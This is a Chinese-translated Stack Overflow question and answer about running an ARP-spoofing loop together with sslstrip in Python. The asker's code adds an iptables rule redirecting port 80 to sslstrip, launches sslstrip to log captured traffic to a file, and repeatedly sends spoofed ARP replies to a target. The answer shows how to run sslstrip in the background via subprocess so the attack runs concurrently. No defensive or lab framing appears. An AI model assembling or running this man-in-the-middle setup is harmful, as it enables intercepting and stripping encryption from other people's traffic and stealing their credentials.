繁体   English   中英

python运行2个进程

[英]python run 2 processes

我已经编写了一个执行arpspoofing的程序,现在我想在继续发送arp重放的同时调用sslstrip。

我不确定这是否适用于线程或如何更好地工作,我只是想知道什么是最简单的解决方案。

这是我尝试过的并且无法发送arp重放(卡在sslstrip进程中):

os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000")

os.system("sslstrip -l 1000 -w cap.txt")


while True:
    try:
        time.sleep(2)
        print 'Injecting Arp Replay to '+target+' telling '+host+' is at '+mac
        s.send(packet)

    except KeyboardInterrupt:
        print "bye"
        os.system("iptables -t nat -D PREROUTING 1 ")
        sys.exit(1)

有人知道如何轻松解决吗?

您可以使用子流程模块而不是os.system

您可以将sslstrip作为后台任务打开,并在脚本末尾终止它:

import subprocess
sslstrip = subprocess.Popen(["sslstrip", "-l", "1000", "-w", "cap.txt"], stdout=subprocess.PIPE)

# Run your script
# ...

# At the end terminate the process (in your KeyboardInterrput)
sslstrip.terminate()

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM